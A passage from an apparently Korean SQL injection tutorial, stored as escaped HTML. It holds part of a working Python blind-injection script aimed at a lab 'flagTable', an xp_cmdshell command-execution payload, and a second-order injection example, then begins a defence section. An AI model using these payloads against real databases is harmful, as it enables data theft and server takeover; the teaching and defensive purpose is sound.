class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;continue&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# 2-2. 각 문자 추출 (범위 체크 + 이진 탐색) &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;ORD(SUBSTR((&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_query&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,1))&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char_type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;extract_ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ord_to_char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[ORD:&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ord_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Row[&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_value&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; (len=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Found &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; rows in &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;column_name&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;results&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# db_name = blindsql_attack_database() &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# print(db_name) &lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# db_name = &apos;blindSqli&apos; &lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Check Parse Table Names.....&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# table_names = blindsql_attack_table() &lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;===== Table Names =====&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;flagTable&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;member&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;plusFlag_Table&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Check Parse Column Names.....&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_information&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Table:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_attack_column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column_names&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; - Column:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;column&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;===== Column Information =====&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;table_information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Table: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, Columns: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;columns&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# save to file json &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;table_info.json&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;table_information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ensure_ascii&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[+] Saved to table_info.json&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Done.&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;blindsql_get_result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;flagTable&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;===== Flag Table Results =====&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;- Row: &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Flag:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;__main__&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# main() &lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Total requests:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TOTAL_REQUESTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;주의점: Blind SQL Injection 공격은 데이터를 추출해오는 데 매우 오랜 시간이 걸리는데다, &lt;br /&gt; 데이터를 추출하기 위해 서버에 많은 트래픽을 발생하기 때문에, 실제 서비스에 과도한 부하를 줄 수 있다. &lt;br /&gt; 또한, 단기간에 동일한 요청으로 많은 트래픽을 쏘아보내기 때문에, 관제 시스템이나 보안 장비(웹 방화벽(WAF) 등) 등에 의해 차단될 가능성이 높아짐에 유의해야 한다.&lt;/p&gt; &lt;h1 id=&quot;기타-공격-방법&quot;&gt;기타 공격 방법&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;Stacked Queries (다중 쿼리) &lt;ul&gt; &lt;li&gt;세미콜론(;)으로 완전히 별개의 쿼리를 실행&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Out-of-Band (OOB) &lt;ul&gt; &lt;li&gt;DB 서버에서 외부 서버로 데이터를 전송시키는 기법. 화면 출력도 없고 시간 기반도 어려울 때 쓸 수 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Second-Order SQL Injection (2차 SQL Injection) &lt;ul&gt; &lt;li&gt;입력 시점이 아니라, 저장된 데이터가 나중에 다른 쿼리에서 사용될 때 발생 &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;1) 회원가입 시 username을 admin&apos;-- 으로 등록 (여기선 Prepared Statement 사용) 2) 나중에 프로필 수정 쿼리에서 이 username을 그대로 사용 → UPDATE user SET email=&apos;...&apos; WHERE username=&apos;admin&apos;--&apos; → admin 계정의 이메일이 변경됨 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;입력 단계에서는 안전하게 처리했는데, 꺼내 쓸 때 검증 안 하면 터짐.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Stored Procedure Injection&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;저장 프로시저 내부에서 동적 SQL을 쓸 때 발생&lt;/p&gt; &lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c1&quot;&gt;-- MSSQL 저장 프로시저 예시&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;PROCEDURE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;VARCHAR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;AS&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;EXEC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;SELECT * FROM user WHERE name = &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;GO&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;-- 공격&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;; EXEC xp_cmdshell &apos;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos; -- &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;방어-방법&quot;&gt;방어 방법&lt;/h1&gt; &lt;h3 id=&quot;1-prepared-statement-파라미터-바인딩&quot;&gt;1. Prepared Statement (파라미터 바인딩)&lt;/h3&gt; &lt;p&gt;SQL Injection에 대한 &lt;strong&gt;가장 근본적이고 효과적인 방어 방법&lt;/strong&gt;이다. &lt;br /&gt; 사용자 입력값을 SQL 쿼리 문자열에 직접 결합하지 않고, 파라미터로 바인딩하여 전달한다. &lt;br /&gt; DB 엔진이 쿼리 구조와 데이터를 분리하여 처리하므로, 입력값이 SQL 구문으로 해석되지 않는다.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;취약한 코드 (문자열 결합)&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 사용자 입력이 쿼리 문자열에 직접 결합 -&amp;gt; SQL Injection 취약&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT * FROM logindata WHERE id = &apos;&lt;/span&gt;&lt;span 